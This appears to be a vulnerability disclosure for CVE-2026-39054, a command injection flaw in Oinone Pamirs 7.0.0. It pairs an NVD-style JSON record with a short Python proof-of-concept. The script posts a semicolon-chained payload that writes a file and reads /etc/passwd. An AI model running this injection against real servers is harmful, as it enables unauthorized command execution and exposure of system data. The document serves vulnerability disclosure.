CVE-2026-39054

import requests # Target URL (Example) target_url = "http://vulnerable-server:8080/api/command/execute" # Vulnerability: Unfiltered input written to shell stdin # Payload: Using semicolon to chain commands test_payload = "echo 'Vulnerable' > /tmp/poc.txt; cat /etc/passwd" # Sending the request try: response = requests.post(target_url, json={"cmd": test_payload}) print("[+] Payload sent") print("[+] Status Code:", response.status_code) print("[+] Response:", response.text) except Exception as e: print("[-] Error:", e)

{"cve": {"id": "CVE-2026-39054", "sourceIdentifier": "[email protected]", "published": "2026-05-15T15:16:51.753", "lastModified": "2026-05-15T16:16:14.763", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Oinone Pamirs 7.0.0 contains a command injection vulnerability in CommandHelper.executeCommands. The method starts a shell process and writes attacker-controlled command strings directly to the process standard input without sanitization. In affected deployments, this can result in arbitrary operating system command execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://gist.github.com/Misakim1/859c3eb9ced699089ee0747dae9bedc1", "source": "[email protected]"}, {"url": "https://github.com/oinone/oinone-pamirs", "source": "[email protected]"}, {"url": "https://www.oinone.top/changelog", "source": "[email protected]"}]}}